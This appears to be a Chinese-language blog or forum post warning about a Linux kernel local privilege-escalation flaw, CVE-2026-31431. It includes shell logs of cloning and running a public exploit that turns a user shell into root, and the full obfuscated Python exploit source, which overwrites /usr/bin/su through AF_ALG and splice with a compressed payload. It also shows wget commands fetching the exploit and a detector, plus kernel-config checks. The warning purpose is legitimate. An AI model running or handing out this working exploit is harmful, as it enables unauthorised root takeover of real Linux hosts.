Linux内核高危漏洞,90%会中招,重要!!!

(mxsieve) [deploy@b95 ~]$ git clone https://github.com/theori-io/copy-fail-CVE-2026-31431.gitCloning into 'copy-fail-CVE-2026-31431'remote: Enumerating objects: 9, done.remote: Counting objects: 100% (9/9), done.emote: Compressing objects: 100% (8/8), done.remote: Total 9 (delta 1), reused 3 (delta 0), pack-reused 0 (from 0)Receiving objects: 100% (9/9), done.Resolving deltas: 100% (1/1), done.(mxsieve) [deploy@b95 ~]$ cd copy-fail-CVE-2026-31431-main# python版本要大于3.10要不运行报错， 运行脚本直接切换成root 用户！！！ 😱😱😱(mxsieve) [deploy@b95 copy-fail-CVE-2026-31431-main]$ python copy_fail_exp.py (base) [root@b95 copy-fail-CVE-2026-31431-main]# (base) [root@b95 copy-fail-CVE-2026-31431-main]# whoami root(base) [root@b95 copy-fail-CVE-2026-31431-main]# ls /root/anaconda-ks.cfg  miniconda3  Modelfile  mxsieve2  ollama  print-diskinfo.sh  __pycache__(base) [root@b95 copy-fail-CVE-2026-31431-main]# (base) [root@b95 copy-fail-CVE-2026-31431-main]# cat copy_fail_exp.py #!/usr/bin/env python3import os as g,zlib,socket as sdef d(x):return bytes.fromhex(x)def c(f,t,c): a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) try:u.recv(8+t) except:0f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))while i<len(e):c(f,i,e[i:i+4]);i+=4g.system("su")(base) [root@b95 copy-fail-CVE-2026-31431-main]# 

# 破坏性检查：会直接切换到rootwget https://raw.githubusercontent.com/theori-io/copy-fail-CVE-2026-31431/main/copy_fail_exp.pypython copy_fail_exp.py# 非破坏性检查：只检查风险wget https://raw.githubusercontent.com/rootsecdev/cve_2026_31431/main/test_cve_2026_31431.py# 我这个机器就中招了，下面是提示python test_cve_2026_31431.py[*] CVE-2026-31431 detector  kernel=4.19.91-25.3.an7.x86_64  arch=x86_64[i] Kernel 4.19.91-25.3.an7.x86_64 predates the affected 6.12/6.17/6.18 lines; trigger may not apply even if prerequisites match.[+] AF_ALG + 'authencesn(hmac(sha256),cbc(aes))' loadable - precondition met.[!] VULNERABLE to CVE-2026-31431.[!]   Marker b'PWND' (AAD seqno_lo) landed in the spliced page-cache page at offset 0.[!]   Surrounding bytes: 50574e444641494c2d53454e  (b'PWNDFAIL-SEN')[!] Apply the upstream fix or block algif_aead immediately.

[root@b60 ~]# cat /boot/config-$(uname -r) | grep -E "CONFIG_CRYPTO_USER_API_AEAD|CONFIG_CRYPTO_AUTHENCESN"CONFIG_CRYPTO_USER_API_AEAD=y[root@b60 ~]# find /lib/modules/$(uname -r) -name "algif_aead.ko" 2>/dev/null[root@b60 ~]# cat /lib/modules/$(uname -r)/modules.builtin | grep algif_aeadkernel/crypto/algif_aead.ko[root@b60 ~]#